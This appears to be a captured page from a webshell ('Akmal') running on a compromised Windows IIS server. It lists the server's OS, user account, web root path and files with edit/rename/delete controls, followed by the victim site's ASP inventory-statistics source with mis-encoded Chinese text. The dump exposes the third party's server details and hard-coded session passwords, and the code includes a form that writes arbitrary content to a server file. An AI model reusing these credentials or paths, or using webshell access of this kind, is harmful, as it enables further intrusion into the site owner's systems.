Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<head>
<meta http-equiv="Content-Language" content="zh-cn">
<style>a{TEXT-DECORATION:none}</style>
<title>���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</title>
<%
loginnumber=session("Webpassed")
if loginnumber<>"%asc365com%" then
response.End()
end if 
%>
<%
if session("asc365allpassword")<>"8879365" then response.end
set fs=Server.CreateObject("Scripting.FileSystemObject")
%>
</head>
<body>
<b><font color="#FFFF00" face="Verdana" size="3"><span style="background-color: #000000">02</span></font></b>
<br><br>

<%
Dim DL(999)
'--------------------��ȡ�����Ϣ---------------------
'Temp=Server.MapPath("..\..\Admin\StoreDis") 		'���ô�ASC���ʹ�˾��Ʒ����ѯĿ¼
'If fs.FolderExists(Temp) = true Then 
'	 fs.DeleteFolder(Temp)
'end if
'----------------ȡ�ô�Ŀ¼------------------
Set f=fs.OpenTextFile(Server.MapPath("../../Admin/Product_Sort"), 1)
do while f.AtEndOfStream = false
	WW=trim(f.ReadLine)
	if len(WW)<>0 and left(ww,2)<>"//" then 
		temp=split(ww,"#")
		I=trim(temp(0))
		DL(I)=temp(0)
	end if
loop
f.Close
Set f=Nothing
DL(600)=""
DL(999)=""

'-------------------��ȡ���ô���׶���;��Ϣ-------------------
Dim ZT(4999,1)
Dim ZT_js
for i=0 to 4999
	ZT(i,1)=0
next
ZT_js=0

Dim ZT1(4999,1)
Dim ZT_js1
for i=0 to 4999
	ZT1(i,1)=0
next
ZT_js1=0

Temp=Server.MapPath("..\..\Admin") & "\CPDGGL"		'��Ʒͨ�����˶�������Ŀ¼
set fo=fs.GetFolder(Temp)
for each x in fo.files
	Namee=x.Name
	if lcase(right(Namee,4))=".sss" then
		Temp1=Temp & "\" & Namee
		Set f=fs.OpenTextFile(Temp1, 1)
		do while f.AtEndOfStream = false
			YY=Trim(f.ReadLine)
			if left(YY,2)="@@" then
				YY=right(YY,len(YY)-2)
				str=Split(YY,"|")
				ZT_Flag=0
				for i=0 to ZT_js-1
					if ZT(i,0)=trim(str(0)) then
						ZT(i,1)=ZT(i,1)*1+str(6)*1
						ZT_Flag=1
						exit for
					end if
				next
				if ZT_Flag=0 then
					ZT(ZT_js,0)=trim(str(0))
					ZT(ZT_js,1)=trim(str(6))
					ZT_js=ZT_js+1
				end if
			end if
		loop
		f.Close: Set f=Nothing
		Temp2=server.MapPath("../../Admin/CPDGGL1/"&Namee)
		if fs.FileExists(Temp2)=true then
		    Set f=fs.OpenTextFile(Temp2, 1)
		    do while f.AtEndOfStream = false
			YY=Trim(f.ReadLine)
			if left(YY,2)="@@" then
				YY=right(YY,len(YY)-2)
				str=Split(YY,"|")
				ZT_Flag=0
				for i=0 to ZT_js1-1
					if ZT1(i,0)=trim(str(0)) then
						ZT1(i,1)=ZT1(i,1)*1+str(7)*1
						ZT_Flag=1
						exit for
					end if
				next
				if ZT_Flag=0 then
					ZT1(ZT_js1,0)=trim(str(0))
					ZT1(ZT_js1,1)=trim(str(7))
					ZT_js1=ZT_js1+1
				end if
			end if
		    loop
			
		    f.Close: Set f=Nothing
		end if
	end if
next
set fo=nothing

for i=0 to ZT_js-1
    for j=0 to ZT_js1-1
	    if ZT(i,0)=ZT1(j,0) then
		    ZT(i,1)=ZT(i,1)*1-ZT1(j,1)*1
		end if
	next
next

Temp=Server.MapPath("..\..\Admin\ZT_CANADA.ss") 		'���ô�ASC���ʹ�˾��Ʒ����ѯ�ļ�
Set f=fs.CreateTextFile(Temp,true)
for i=0 to ZT_js-1
   if ZT(i,1)>0 then
	  WW=ZT(i,0)&"|"&ZT(i,1)
	  f.WriteLine (WW)
   end if
next
f.Close: Set f=Nothing
'-------------------��ȡ������ɼ���;��Ϣ-------------------
for i=0 to 4999
	ZT(i,1)=0
next
ZT_js=0

for i=0 to 4999
	ZT1(i,1)=0
next
ZT_js1=0

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a target="_blank" href="02_StoreDis.asp"><b><span style="font-size: 12pt">���ô�ASC���ʹ�˾��桢����ͳ��</span></b></a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a target="_blank" href="02_Display.asp"><b><span style="font-size: 12pt">���ô�ASC���ʹ�˾��桢���۲�ѯ</span></b></a>

<br><br>
<table border="0" width="800" height="275" style="border-collapse: collapse" bordercolor="#C0C0C0">
<tr>
	<td height="275" width="790">
		<%
		Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
		FileNamee="TJWJBM"
		If request.form ("B22")="Submit" then
			set f=fs.CreateTextFile(Server.MapPath(FileNamee),true)
			DD=request.form("S669")
			f.write(DD)
			f.close :set f=nothing
		end if
		If (fs.FileExists(Server.MapPath(FileNamee)))=true then
			Set f=fs.OpenTextFile(Server.MapPath(FileNamee), 1)
			do while f.AtEndOfStream = false
				WW=trim(f.ReadLine)
				if len(WW)<>0 then 
					WW669 =ww669& WW &chr(13)&chr(10)
				end if
			loop
		else
			set f=fs.CreateTextFile(Server.MapPath(FileNamee),true)
			f.write("")
		end if
		f.Close
		Set f=Nothing
		'----------------------------------------------------------------                                 
		%>
		<p align="center"><b><font size="2" face="Verdana">����������ͳ���ļ�������ϸ</font></b></p>
		<form method="post" action="?ID=B02">
			<textarea rows="14" name="S669" cols="128" style="font-size: 12; font-family: Verdana; border: 1px solid #800000"><%=ww669%></textarea><br>
			<input type="submit" value="Submit" name="B22">
		</form>
	</td>
</tr>
</table>

<%Set fs=Nothing%>
</body>